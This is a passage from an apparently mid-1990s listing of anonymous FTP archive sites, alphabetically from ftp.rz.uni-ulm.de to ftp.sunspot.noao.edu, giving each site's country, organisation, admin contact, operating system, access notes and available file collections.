(University of Ulm), Ulm, CC +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.rz.uni-ulm.de/ +Comment: +Files : vmsnet sources; list of ftp sites carrying VMS programs/sources; + VMS NEWS + +Site : ftp.rz.uni-wuerzburg.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : wrzx02.rz.uni-wuerzburg.de +Admin : tscherner@vax.rz.uni-wuerzburg.de (Peter Tscherner) +Organ : Universitaet Wuerzburg (University of Wuerzburg), Wuerzburg, CC +Server : +System : +URL : ftp://ftp.rz.uni-wuerzburg.de/ +Comment: currently under reconstruction: /pub not yet completely restored +Files : 386BSD; Amiga; GNU; Linux; Math; MS-DOS; Novell; Unix; Windows; X11 + +Site : ftp.saar.de +Country: Germany +GMT : +1 +Date : 22-May-94 +Source : news.answers sites +Alias : shug-internet.saar.de +Admin : +Organ : +Server : +System : Unix +URL : ftp://ftp.saar.de/ +Comment: [appears empty, needs to be re-checked someday] +Files : + +Site : ftp.salford.ac.uk +Country: UK +GMT : 0 +Date : 23-Aug-94 +Source : scott@ncharles.demon.co.uk (Scott Hammett) {posting} +Alias : cwb-b.salford.ac.uk +Admin : richard@salford.ac.uk [?] +Organ : Salford University +Server : +System : Netware 3.12 (PC fileserver) +URL : ftp://ftp.salford.ac.uk/ +Comment: default directory: /vol1/anon +Files : docs; gp; Internet; network; Novell; OS/2; psion; sjf-lwp (mirror of + sjf-lpw.novell.com presumably); supplier; + +Site : ftp.samsung.com +Country: USA +GMT : -8 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : gate.samsung.com +Admin : +Organ : Samsung Electronics Corp. +Server : +System : Unix +URL : ftp://ftp.samsung.com/ +Comment: +Files : polaris; samlan + +Site : ftp.santafe.edu +Country: USA +GMT : -7 +Date : 17-Apr-94 +Source : Perry.Rovers@kub.nl +Alias : santafe.edu, sfi.santafe.edu +Admin : ftp@santafe.edu +Organ : University of Santa Fe, Santa Fe, New Mexico, SFI +Server : +System : Unix +URL : ftp://ftp.santafe.edu/ +Comment: directory: /pub/SIG/4m +Files : AI; Alife; CA; Chat clients (4M chat service); DU; EC; GA; SFI; SIG; + Time series + +Site : ftp.sccsi.com +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : +Alias : fs1.houston.sccsi.com +Admin : ftp@sccsi.com (Steve Nuchia) +Organ : South Coast Computing Services Inc., Houston, Texas +Server : +System : Unix +URL : ftp://ftp.sccsi.com/ +Comment: mostly networking software for different platforms +Files : comet; communications; doc (history, howto, internet-resource guide, + internet worm, InterNIC RFCs, jokes, NIC); dos; internet; local; + macintosh; newtnet; os2; sas; sass; serial; tnic; unix; uupcb; + win-nt; windows; winsock + +Site : ftp.sci.kun.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : wn0.sci.kun.nl +Admin : +Organ : Katholieke Universiteit Nijmegen (University of Nijmegen), Nijmegen, + SCI +Server : +System : Unix +URL : ftp://ftp.sci.kun.nl/ +Comment: +Files : EmTeX; kun-licenties (KUN sites only) + +Site : ftp.scs.unr.edu +Country: USA +GMT : -6 +Date : 24-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : pogonip.scs.unr.edu, veronica.scs.unr.edu +Admin : +Organ : University of Nevada - Reno, Reno, Nevada +Server : +System : Unix (OSF/1) +URL : ftp://ftp.scs.unr.edu/ +Comment: +Files : cbmr; dcwill; Mac; mass-spec; PC; veronica + +Site : ftp.sco.com +Country: USA +GMT : -8 +Date : 15-May-94 +Source : Perry.Rovers@kub.nl +Alias : sosco.sco.com +Admin : see below +Organ : Santa Cruz Operation +Server : +System : Unix +URL : ftp://ftp.sco.com/ +Comment: EFS: Enhanced Feature Supplements, SLS: Support Level Supplements, + Supplements: additions to current products, Term: Termcap and + Terminfo changes (support@sco.com); Games (unsupported Recreatonial + Material; TLS: Technical Library Supplements (devrel@sco.com); + HCH: Hardware Compatibility Handbook (hch@sco.com) +Files : EDU; IT; SCO files, see Comment; Skunk; TIM; UCD + +Site : ftp.scri.fsu.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : +Admin : +Organ : Florida State University, , Florida, Supercomputer Computations + Research Institute (SCRI) +Server : +System : Unix +URL : ftp://ftp.scri.fsu.edu/ +Comment: directory: /pub/SciAn; no remotely uploaded files can be remotely + downloaded; uploads to /pub or /incoming; max. 20 users; +Files : Amiga; BUB; CLASsoft; cluster-workshop; comp.graphics.research; + DQS; DSM; GAO; genetics; genome92; hep-lat; Mac; MC93; MS-DOS; + netinfo; Norton; NSPCG; parallel-workshop; Sage; SciAn; super93; + TFN; uci; Unix; Usenet + +Site : ftp.scripps.edu +Country: US +GMT : -8 +Date : 14-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : riscsm.scripps.edu +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.scripps.edu/ +Comment: several user public directories +Files : adam; avstool; BSD; case; chazin; electrostatics; Mac; MCDP; pdb; + tse; xfit; xview_stardent + +Site : ftp.sdsc.edu +Country: USA +GMT : -8 +Date : 23-Aug-94 +Source : old ftp-list +Alias : rosebud.sdsc.edu, zyxel.whnet.com +Admin : consult@sdsc.edu +Organ : San Diego Supercomputer Centre, San Diego, California +Server : +System : Unix +URL : ftp://ftp.sdsc.edu/ +Comment: directory: sdscpub; transfers are logged +Files : ccms; CERFnet; Khoros; Multics; security; supercomputer center info; + SuperComputing 95; X; ZyXel + +Site : ftp.sdsu.edu +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : aronov@ziggy1.poly.edu (Boris Aronov); old ftp-list +Alias : pandora.sdsu.edu, sounds.sdsu.edu +Admin : +Organ : San Diego State University, San Diego, California +Server : +System : Unix +URL : ftp://ftp.sdsu.edu/ +Comment: max. 10 users; the sounds archive (athena.sdsu.edu) is no longer, + read the readme file for details and other sites: songs mirrored on + ftp.luth.se (/pub/sounds/songs); new users read the README files; + also through gopher +Files : fvwm; gtopn; mtools; olvm-sounds; PC Gopher; people; rplay; + xpilot-maps; xpilot-sounds; xtank; xvgopher + +Site : ftp.seas.gwu.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : mikescott@ix.netcom.com (Michael Scott) {posting} +Alias : orson.seas.gwu.edu +Admin : root@seas.gwu.edu (except as noted otherwise for individual + directories) +Organ : George Washington University, Washington, District of Columbia, + School of Engineering and Applied Sciences +Server : +System : Unix +URL : ftp://ftp.seas.gwu.edu/ +Comment: max. 60 users; transfers are logged +Files : ADA; circ; eecs; emworkshop; graphics; instctsp; ramlab; ribarry; + rtfm; slak; small-ADA + +Site : ftp.seds.lpl.arizona.edu +Country: USA +GMT : -7 +Date : 10-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : seds.lpl.arizona.edu +Admin : chrisl@lpl.arizona.edu (Chris Lewicki) +Organ : University of Arizona, Tucson, Arizona, Students for the Exploration + and Development of Space (SEDS) +Server : ftpmail@seds.lpl.arizona.edu +System : Unix (SunOS, SparcServer 10) +URL : ftp://ftp.seds.lpl.arizona.edu/ +Comment: open 24 hours; max. 50 users; server can uncompress; also available + through gopher; transfers are logged +Files : anim; astro; clementine; dosdirs; FAQs; images (Apollo, asteroid, + ccd, charts, clementine, comets, dcx, deepspace, earth, eclipse, + HST, Hubble, jpeg, Jupiter, launcher, logos, Mars, Mercury, misc, + Moon, Neptune, observatories, Pluto, rme, Saturn, scans, shuttle, + space, spacestation, spacecolony, spacecraft, stsci, Sun, + supercomputing, supernova, Uranus, Venus, WFPC2); info; sat; SEDS; + Shoemaker-Levy 9 (SL9) images; software (Amiga, Atari, CP/M, + general, HP48, instruments, Mac, NeWS, NeXT, obsdbase, obsprog, + OS/2, PC, Space, Spacelink, text, Unix, VMS); spacecraft + +Site : ftp.segaoa.com +Country: USA +GMT : -5 +Date : 21-Nov-94 +Source : rodrigues@segaoa.com (Lisa Rodrigues) +Alias : gambit.segaoa.com +Admin : ftp@ftp.segaoa.com webmaster@segaoa.com (WWW) +Organ : Sega of America +Server : +System : Unix (SunOS, Sun Sparc Station) +URL : ftp://ftp.segaoa.com/ +Comment: transfers are logged +Files : Sega material: Audio, graphics, hints & cheats, press, Products, + Promotions, Sega- Visions, Videos + +Site : ftp.sei.cmu.edu +Country: USA +GMT : -5 +Date : 29-Nov-94 +Source : Perry.Rovers@kub.nl +Alias : fw.sei.cmu.edu +Admin : postmaster@sei.cmu.edu +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, + Software Engineering Institute (SEI) +Server : +System : Unix +URL : ftp://ftp.sei.cmu.edu/ +Comment: directory: /pub/serpent; server can (de)compress and tar files + and directories; max. 20 users +Files : ACVC; aim; case-env; cmm; Dawf; depend-sw; design-for-reuse; docs; + domain-analysis; dssa; education; empirical methods; gateway 2000; + Ingres; Mac; network; onetime; pager; partners; piwg; pm-cmm; Posix; + pp; procauto; prp; psfig; raffo; rek; rest; RMA-Validation tests; + rtsia; secmm; Serpent; Simplex; spice; struct_model; wsett_94; + x3j21; Xerox; xmh + +Site : ftp.sen.ca.gov +Country: USA +GMT : -8 +Date : 25-Jan-95 +Source : Computer Underground Digest +Alias : sen.ca.gov, asm.ca.gov, linet.sen.ca.gov +Admin : +Organ : California State Legislature +Server : mailserv@sen.ca.gov, mailserv@asm.ca.gov, gopher +System : VAX/VMS running MultiNet +URL : ftp://ftp.sen.ca.gov/ +Comment: nice warning ;-); default directory: NETWORK_ROOT:[FTP]; read the + 0README.TXT and INDEX.TXT files for info and an index per directory +Files : access; asm; calinfo; casmug; govinfo; ncsl_nalit; ref; sen + + +Site : ftp.senate.gov +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : quire@vector.casti.com (Bill Casti) {posting} +Alias : +Admin : ftpadmin@scc.senate.gov +Organ : United States Senate, Washington D.C., D.C., Office of the U.S. + Senate Sergeant at Arms and the Senate Committee on Rules and + Administration +Server : gopher +System : Unix +URL : ftp://ftp.senate.gov/ +Comment: no files can be uploaded; US Senate info in directory 'general', + specific Senator's directories by two-letter state abbreviation +Files : US Senate info: committee, general, member + +Site : ftp.service.com +Country: USA +GMT : -8 +Date : 31-Oct-94 +Source : marcf@netcom.com {posting} +Alias : server1.service.com +Admin : +Organ : Internet Distribution Services, Palo Alto, California +Server : www.service.com, gopher.service.com +System : Unix +URL : ftp://ftp.service.com/ +Comment: electronic publishing and distribution of catalogs and product info +Files : bha; CyberSource; D3; dt; listserv; STV; tbot; Tx + +Site : ftp.sesqui.net +Country: USA +GMT : -6 +Date : 22-May-94 +Source : dlist@ora.com +Alias : vinegar.sesqui.net +Admin : +Organ : SesquiNet, , Texas +Server : +System : Unix +URL : ftp://ftp.sesqui.net/ +Comment: +Files : bigz; BIND; dials; firewall; IEN; INN-Jan94; Internet-CMC; ITR; + maps; NOOP; NSFnet stats; OSI; papers; RFCs; SesquiNet; STD; + TCP/IP digest; Texas; tools; TSU + +Site : ftp.shef.ac.uk +Country: UK +GMT : 0 +Date : 25-Jan-95 +Source : +Alias : hippo.shef.ac.uk +Admin : ftpadmin@shef.ac.uk +Organ : University of Sheffield, Sheffield +Server : +System : Unix +URL : ftp://ftp.shef.ac.uk/ +Comment: max. 20 users; all accesses are logged; tar and g(un)zip on the fly +Files : city (Sheffield City Council info); FAQs; Sheffield (acs, acse, + cass, gis, mbb); Uni (academic, admin, companies, projects, + services, union; WAIS; Web + +Site : ftp.shizuoka.ac.jp +Country: Japan +GMT : +9 +Date : 11-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : news.shizuoka.ac.jp +Admin : +Organ : Shizuoka University, Shizuoka +Server : +System : Unix +URL : ftp://ftp.shizuoka.ac.jp/ +Comment: +Files : doc; dos; GNU; language; Mac; mail; misc; network; news; Solaris2; + TeX; Windows; X11 + +Site : ftp.shsu.edu +Country: USA +GMT : -6 +Date : 24-May-94 +Source : bed_gdg@shsu.edu (George D. Greenwade); Perry.Rovers@kub.nl +Alias : pip.shsu.edu +Admin : CTAN-Mgr@shsu.edu +Organ : Sam Houston State University, Huntsville, Texas +Server : +System : Unix +URL : ftp://ftp.shsu.edu/ +Comment: read README.archive-features for archiving features; read + README.site-commands for site-defined commands; uploads to + /incoming, please read the provided instructions there; max. 100 + users (several classes) +Files : cdrom; Comprehensive TeX Archive Network (CTAN) in /tex-archive; + docs; economics; ftp-list; lib; MaasInfo; mirror of garbo.uwasa.fi + /pc/doc-net highlights; utils; VMS + +Site : ftp.simtel.ru +Country: Russia +GMT : +3 +Date : 30-Sep-94 +Source : viv@rla.msk.su (Vladimir Ivanov) +Alias : simtel.ru +Admin : ftpadm@simtel.ru; ftpadm@stc.simbirsk.su +Organ : TeleCom +Server : ms@simtel.ru ; ms@stc.simbirsk.su (send "help") +System : +URL : ftp://ftp.simtel.ru/ +Comment: Limited access (only direct links and several special hosts) +Files : crypto; dos; email; pictures; windows + +Site : ftp.skypoint.net +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : belal@sco.com (Bela Lubkin> {posting} +Alias : skypoint.skypoint.net, ftp.skypoint.com, skypoint.skypoint.com +Admin : keng@skypoint.com +Organ : SkyPoint +Server : +System : Unix +URL : ftp://ftp.skypoint.net/ +Comment: transfers are logged; any commercial software found on this server + will cause your entire domain to be banned +Files : Linux (Digiboard device drivers); Mac (PPP); mailpkg (Pegasus); + MS-DOS (PPP, RIP, SLIP, virus); netrek; paradise (artwork, + binaries, bitmaps, client, RSA, server, tools, xsg); MS-Windows + (WinTCP); SCO-ports (games, GNU, infosystems, networking, security, + utils); SkyPoint info; Unixware + +Site : ftp.slc.is.novell.com +Country: USA +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Novell +Server : +System : +URL : ftp://ftp.slc.is.novell.com/ +Comment: Failed to get host information +Files : Novell utilities, patches, fixes, information etc. + +Site : ftp.smc.com +Country: USA +GMT : +Date : 23-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : info.smc.com +Admin : adams@smc.com (Tom Adams) +Organ : Standard Microsystems Corporation +Server : +System : Unix +URL : ftp://ftp.smc.com/ +Comment: under construction [probably not complete and always accessible] +Files : Network Interface Cards drivers; Hubs and LAN switch products + +Site : ftp.sogang.ac.kr +Country: South Korea +GMT : +8 +Date : 19-Feb-95 +Source : MODERxx.ZIP +Alias : +Admin : ftp-admin@ftp.sogang.ac.kr +Organ : Sogang University, Seoul +Server : ftpmail@ftp.sogang.ac.kr +System : Unix +URL : ftp://ftp.sogang.ac.kr/ +Comment: primarily for members of the Korean community, mainly mirrors from + Canadian, European and US sites; transfers are logged; server can + (de)compress, g(un)zip and tar +Files : archie; FreeBSD; glimpse; gopher; Linux (cd-rom, tsx-11.mit.edu); + lynx; McAfee (antivirus); MS-DOS (games, Garbo (garbo.uwasa.fi), + SimTel Software Repository); Sogang-net; Unix; Windows3 + (ftp.cica.indiana.edu) + +Site : ftp.solbourne.com +Country: USA +GMT : -7 +Date : 17-Apr-94 +Source : old ftp-list +Alias : solbourne.solbourne.com +Admin : +Organ : Solbourne Computer +Server : +System : OS/MP +URL : ftp://ftp.solbourne.com/ +Comment: +Files : docs; netfax; pdp-11; support; + +Site : ftp.soton.ac.uk +Country: UK +GMT : 0 +Date : 20-Oct-94 +Source : admin; Perry.Rovers@kub.nl +Alias : par.soton.ac.uk +Admin : support@par.soton.ac.uk +Organ : University of Southampton, Southampton, HPC Centre +Server : WWW: http://hpcc.soton.ac.uk/ +System : Unix (SunOS, Sun SparcStation) +URL : ftp://ftp.soton.ac.uk/ +Comment: +Files : benchmark_results; euroben; genesis; ic_docs; mpi; parkbench; pvm3; + User Guides; WWW + +Site : ftp.spc.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : shoppa@altair.krl.caltech.edu (Tim Shoppa) {posting}; VAX Software +Alias : spcvxa.spc.edu +Admin : terry@spcvxa.spc.edu (Terry Kennedy), goathunter@wku.edu + (Hunter Goatley) +Organ : SP College [?] +Server : +System : VAX/VMS running Multinet +URL : ftp://ftp.spc.edu/ +Comment: read 0-README.1ST for information; partial mirror on ftp.switch.ch + in pub/vms/spc; Macro-32 directory is mirrored at ftp.technion.ac.il + in directory pub/unsupported/vms/macro-32; default directory: + USER1:[ANONYMOUS] +Files : BBOARD; BOC-L; COOKIE; DECUS-archives; DECUS UUCP; Dr. Who; finger; + humor; I-Finger; K11; listserv; macro32; madison; mailutils; + mop-server; msfinger; mudbug; MultiNet; MX; PAVMS; pendor; + posix; rstscle; tools; UCX; Unix; Usenet; video + +Site : ftp.spry.com +Country: USA +GMT : -8 +Date : 30-Oct-94 +Source : Perry.Rovers@kub.nl +Alias : barada.spry.com +Admin : +Organ : SPRY +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.spry.com/ +Comment: +Files : AirMosaic; docs; FLUX; Hotwired; Info_MCI articles; Internet In A + Box; internet-drafts; Mac (MacPPP); Mesner-media; MS-DOS (apps, + comm, compress, LWP, network, util); MS-Windows (NT, util, viewers, + winsock); RFCs; trumpet; Unix (binaries, Linux, pkg, sources); + vendor + +Site : ftp.sparco.com +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : posting in comp.dcom.modems +Alias : earth.sparco.com, sparco.com +Admin : sparco@sparco.com +Organ : Sparco Communications, Starkville, Missouri +Server : mailserver@sparco.com WWW: http://www.sparco.com/ +System : Unix +URL : ftp://ftp.sparco.com/ +Comment: directory: /pub/sparco/modems.dir +Files : FAQs on several kinds of modems (in brandname.dir, like att.dir) + +Site : ftp.spss.com +Country: USA +GMT : +Date : 02-Aug-94 +Source : +Alias : internet.spss.com +Admin : +Organ : SPSS Inc. +Server : +System : Unix (System V Release 4.2) +URL : ftp://ftp.spss.com/ +Comment: mirrored on ??? +Files : bible; credit (consfaq); listproc; SPSS + +Site : ftp.sri.ucl.ac.be +Country: Belgium +GMT : +1 +Date : 03-Jun-94 +Source : Kuypers@sri.ucl.ac.be (Jean-Pierre Kuypers) +Alias : sci1.sri.ucl.ac.be +Admin : Kuypers@sri.ucl.ac.be (Jean-Pierre Kuypers) +Organ : Universite Catholique de Louvain (Catholic University of Louvain), + Louvain-la-Neuve, Service des Reseaux d'Information (SRI) +Server : none +System : Unix (SunOS 4.1.1) +URL : ftp://ftp.sri.ucl.ac.be/ +Comment: French versions of Macintosh network software, as Anarchie, Eudora, + Fetch, FTPd, Gopher Surfer, lpr, MacPPP, MacTCP Switcher, MacTCP + Watcher, NCSA Telnet, NewsWatcher, TurboGopher. +Files : Anarchie; CricketGraph; Eudora; FTPd; Fetch; Gopher; ISO.8859-1; + Mac.lpr.lpd; MacPPP; MacTCP-Switcher; MacTCP-Watcher; MacTCP; + Minuet; NCSA_Telnet; NewsWatcher; poppassd; popperQC; tn3270 + +Site : ftp.srv.ualberta.ca +Country: Canada +GMT : -7 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : wabaska.ucs.ualberta.ca +Admin : rsawh@gpu.srv.ualberta.ca +Organ : University of Alberta, Edmonton, Alberta, Computing and Network + Services +Server : +System : Unix +URL : ftp://ftp.srv.ualberta.ca/ +Comment: server can (de)compress and tar files and directories; + nice intro that shows several different filetypes and how to + handle them +Files : docs; DOS; ECS (beta) for MS-Windows; faculty; Mac; Novell; OS/2; + pictures; Unix; Windows; WWW + +Site : ftp.stack.serpukhov.su +Country: Russia +GMT : +2 +Date : 14-Dec-94 +Source : viv@rla.msk.su (Vladimir Ivanov) +Alias : push.stack.serpukhov.su +Admin : ms-adm@push.stack.serpukhov.su +Organ : Stack Ltd. +Server : ms@push.stack.serpukhov.su (send "help") +System : +URL : ftp://ftp.stack.serpukhov.su/ +Comment: Problem: User anonymous access denied [temporary?] +Files : X11; archivers; bio-software; books; cdrom-1; cdrom-2; gnu; + graphics; ham; msdos; novell; techdoc; unix + +Site : ftp.stack.urc.tue.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : nl-ftp list as posted to nlnet.announce +Alias : terra.stack.urc.tue.nl +Admin : ftp@ftp.stack.urc.tue.nl (or ftp@stack.urc.tue.nl) +Organ : Technische Universiteit Eindhoven (Eindhoven University of + Technology), Eindhoven, MCGV Stack +Server : +System : Unix +URL : ftp://ftp.stack.urc.tue.nl/ +Comment: stack-ftp archives; open 24 hours; 1.8Gb; has an FSP server: + ftp.stack.urc.tue.nl port 21; transfers are logged +Files : Amiga; EmTeX; esix; Esperanto; FSP; Linux; meteosat; Minix; MS-DOS; + news; NeXT; NetBSD; PC netware; PC NFS; SimTel mirror; sounds; + System V 386; Winsock; ZyXel + +Site : ftp.stacken.kth.se +Country: Sweden +GMT : +1 +Date : 06-Jan-94 +Source : old ftp-list +Alias : sune.stacken.kth.se +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.stacken.kth.se/ +Comment: +Files : GNU mirror; 386bsd stuff + +Site : ftp.starnine.com +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : djunt@mtu.edu (Dave Juntunen) +Alias : starnine.com +Admin : +Organ : Star Nine +Server : +System : Unix +URL : ftp://ftp.starnine.com/ +Comment: directory: starnine/pub/evals/personal-gws/pt-inet +Files : docs; evals; MacTCP; tech notes; updates; utilities + +Site : ftp.stat.ufl.edu +Country: USA +GMT : -5 +Date : 22-May-94 +Source : +Alias : marlin.stat.ufl.edu, stat.ufl.edu +Admin : +Organ : University of Florida, , Florida, Statistics dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.stat.ufl.edu/ +Comment: loose .tex files in /pub +Files : depot; sm; UniFyPow; + +Site : ftp.stat.washington.edu +Country: USA +GMT : -8 +Date : 17-Apr-94 +Source : +Alias : lisbon.stat.washington.edu +Admin : +Organ : University of Washington, Seattle, Washington +Server : +System : Unix +URL : ftp://ftp.stat.washington.edu/ +Comment: +Files : Anthro; Belief; higdon; jam; mtools; tech-reports; xgobi + +Site : ftp.std.com +Country: USA +GMT : -5 +Date : 23-Aug-94 +Source : world.std.com +Alias : obi.std.com +Admin : +Organ : Software Tool and Die - The World Public Access Unix, Boston, + Massachusetts +Server : +System : Unix +URL : ftp://ftp.std.com/ +Comment: files from world.std.com +Files : activist forum; alt.religion.kibology; amo; Apropos; arj; arj2; AW; + astronomy; Atari; b100demo; bball; bbedit; bcs; bitnet addresses; + bmug; boston rsi; catnip; cenvi; clipart; cmellow; consultants; + dance; dj500; DSPdev; epimbe; fbpro; fix; fontutil; freelance; + fullview; funne-archive; genesoft; GNU; graph; ham-radio; idg2; IMA; + info-futures; ipv7; IsetlSymdiff; Kluwer; lawyer; Lexicor; liant; + lingua; majordomo; MenuDropper; MetaCard; mmodel; NE; obi; OBS; + onset; QLS; Quantum; patents; periodicals; python; ra; radio; + RAT-archive; renascence; Rgirls; sable; sabre; ScreenSaverKit; + SShare; Softpro; sold; talk.bizarre; TECO; Termcomp; Tierra; + toolbox; tv-networks; ultracom; vendors (JP Software: 4DOS, 4NT, + 4OS2, TC); winmag; World info; WWW; Xtty + +Site : ftp.sterling.com +Country: USA +GMT : -6 +Date : 18-Aug-94 +Source : Kent_Landfield@sterling.com +Alias : +Admin : archive@sterling.com +Organ : Sterling Software +Server : +System : Unix +URL : ftp://ftp.sterling.com/ +Comment: official: comp.sources.misc, comp.sources.x, comp.sources.reviewed, + TSIG archives, USENET Moderators archive and US Mirror && mailing + list site for ZSH; server can tar, (de)compress and g(un)zip; + this archive is currently being reorganized, check out the + mirror/sites01 and sites02 directories +Files : comp.sources.misc, comp.sources.x, comp.sources.reviewed, TSIG + archives, USENET Moderators archive and US Mirror && mailing list + site for ZSH; extensive EDI archive and unofficial mirrors for + many other net.packages; dodiis; gatekeeper; isode; mail; ncsa; news + RFCs; rkive; security; std; style; sun-dist; talk-radio; Tcl + (programming/languages/tcl from ftp.aud.alcatel.com); usenet + (archive for: alt.sources, alt.sources.mac, comp.archives, + comp.archives.admin, comp.sources.3b1, comp.sources.acorn, + comp.sources.amiga, comp.sources.apple2, comp.sources.atari.st, + comp.sources.bugs, comp.sources.games, comp.sources.hp48, + comp.sources.mac, comp.sources.misc, comp.sources.postscript, + comp.sources.reviewed, comp.sources.sun, comp.sources.unix, + comp.sources.x, gnu.emacs.sources, net.sources, news.answers, + u3b.sources, unix-pc, vmsnet.sources; uumap; whitehouse; WWW; zsh + +Site : ftp.stir.ac.uk +Country: UK +GMT : 0 +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : forth.stir.ac.uk +Admin : +Organ : +Server : +System : Unix +URL : ftp://ftp.stir.ac.uk/ +Comment: +Files : anecdotes; CCCN (gaelic, lawrence); infodoc; lasercom; PICT (misc. + faces gifs); psych; reports; wesley (atalk, westray) + +Site : ftp.stmarys.ca +Country: Canada +GMT : -5 +Date : 23-Aug-94 +Source : old ftp-list +Alias : husky1.stmarys.ca +Admin : +Organ : St. Mary's College +Server : +System : VAX/VMS running MultiNet +URL : ftp://husky1.stmarys.ca/ +Comment: default directory: SYS$DISK2:[ANONYMOUS] +Files : Amiga; docs; Earth Centered Universe (Windows planetarium); Mac; + MS-Windows; PC; Sun; Unix; VMS + +Site : ftp.stolaf.edu +Country: USA +GMT : -6 +Date : 17-Jul-94 +Source : stolaf.edu +Alias : news.stolaf.edu +Admin : ftp@stolaf.edu (Craig Rice) +Organ : St. Olaf College +Server : +System : Unix +URL : ftp://ftp.stolaf.edu/ +Comment: do not abuse the world-writable ftp dirs. we regularly scan the area + for bogus files and will remove anything that doesn't belong here. +Files : acts; Amiga; anylchem experiments; Budapest; diffEQ; IECC + (Intercultural Email Classroom Connections); Indian Music; + Kierkegaard; lacnet; Linux-doc; Macpsych mailinglist and software + archive; mn-math; MuTeX and MusicTeX mailinglist and software + archive; newlist; NeXT managers mailinglist and software archive; + oscar (Omni Cultural Academic Resource); OZ; perseus; PEW; Plan9; + proksch; quanstro; sca; sci; snap; stat-ed; steen; Tamil; tchechon; + teach; trainset; travel-advisories (U.S. State dept.); UltraStor + boot; xcp (Cross Cultural Psychology) + +Site : ftp.stsci.edu +Country: USA +GMT : -5 +Date : 23-Aug-94 +Source : old ftp-list +Alias : marvel.stsci.edu, stsci.edu +Admin : +Organ : Space Telescope Science Institute Electronic Information Service +Server : +System : Unix +URL : ftp://ftp.stsci.edu/ +Comment: index: README and complete_dir, new_items files; listserver + capabilities: see /stsci/steis/listserver; also accessible + through Gopher, WWW, Wais (see .FTP_USERS_READ_THIS); OWNER files + describe directories and contactaddresses +Files : ExInEd; cdbs; docs; godfrey; Hubble space telescope archive; + instrument_news/sci.astro.hubble; listserver archives; + net-resources; observer; pasp; policy; proposer; searchtools; + stsci + +Site : ftp.su.oz.au +Country: Australia +GMT : +10 +Date : 30-Aug-94 +Source : old ftp-list +Alias : extra.ucc.su.oz.au, extro.ucc.su.oz.au, ftp.ucc.su.oz.au + (probably ftp.su.edu.au too) +Admin : support@is.su.edu.au, rossc@is.su.edu.au (Ross Cartlidge) +Organ : University of Sydney, Sydney, Information Services +Server : +System : Unix (System V Release 4.0) +URL : ftp://ftp.su.oz.au/ +Comment: 128Mb RAM and 10Gb of disk space and 20Gb of near-line storage using + a HP Optical Jukebox and NETstor software. Most of our ftp files are + stored on the Optical Jukebox and hence there may be a few seconds + delay in their retrieval [is this still valid?] +Files : AARNet; ads; anaes; av; casmac; cygnus; docs; Eudora; GNU; IETF; + INET93; itpc; Mosaic; NCSA; Netware (Novell); nsw-minutes; + ohs-manuals; RFCs; soviet archive; talk-radio; Telebit; UB; Zsh + +Site : ftp.sun.ac.za +Country: South Africa +GMT : +2 +Date : 19-Feb-95 +Source : fb@htsb.wcape.school.za (Francois Botha); MODERxx.ZIP; + Andries Loubser (aloubser@orion.didata.co.za) +Alias : itu2.sun.ac.za +Admin : ftp@ftp.sun.ac.za +Organ : University of Stellenbosch, Cape Town +Server : +System : Unix +URL : ftp://ftp.sun.ac.za/ +Comment: 9Gb, biggest site in Africa; descriptive ls/dir command; max. 10 + users; transfers are logged; uploads to pub/Contrib; quote site + index and/or site index functions available +Files : 386BSD; daily weather image; doom; FreeBSD; Games hacks; GNU; Linux + (from tsx-11.mit.edu and sunsite.unc.edu); MS-DOS; mirrors: Simtel + Software Repository, ftp.uml.edu (/pub/msdos/uml); NETBSD; Oberon; + OS/2 (ftp.cdrom.com); packages (archie, describe, elm, emtex, fsp, + ftpmail, irc, listproc, mirror, musictex, ntp, procmail, smail, tex, + texshell, tin, wu-ftpd, xarchie); RFCs; South Africa; Stellenbosch; + Tcl; Tex (incl. emTeX); Ultrasound; Unix (ispell, ncftp, octave, + remind, tcsh, zsh); Usenet (FAQs); X11 (ftp.x.org) + +Site : ftp.sunet.se +Country: Sweden +GMT : +1 +Date : 15-Dec-94 +Source : yarik@sphs.sph.spb.su (Yaroslaw Mezheritsky) {posting} +Alias : +Admin : archive@ftp.sunet.se +Organ : Swedish University Network (SUNET) NIC +Server : gopher, FSP, ftpmail@ftp.sunet.se (local archive only) +System : Unix (OSF/1, DEC2100/500MP) +URL : ftp://ftp.sunet.se/ +Comment: max. 400 users; Open 24 hours; server can (de)compress, g(un)zip, + tar files and directories; read README files for access methods, + compression methods, uploads etc. +Files : benchmark; comics; conferencing; docs; etext; games; global-net; + GNU; Gopher; graphics; information systems; Internet documents; + Internet drafts; lang; library; Mac; MIME; molbio; movies; + multimedia; music (mirror from ftp.uwp.edu /pub/music/lyrics, + /pub/music/pictures); network; Network User Guides; news; + NIDR tools; NT; PC; pictures; Science; security; Tcl/Tk (lang/tcl + from ftp.cs.berkeley.edu); text-processing; tv+movies; Unix; Usenet; + vendor; Wais; whois; WWW; X11; X500 + +Site : ftp.sunspot.noao.edu +Country: USA +GMT : -7 +Date : 23-Aug-94 +Source : 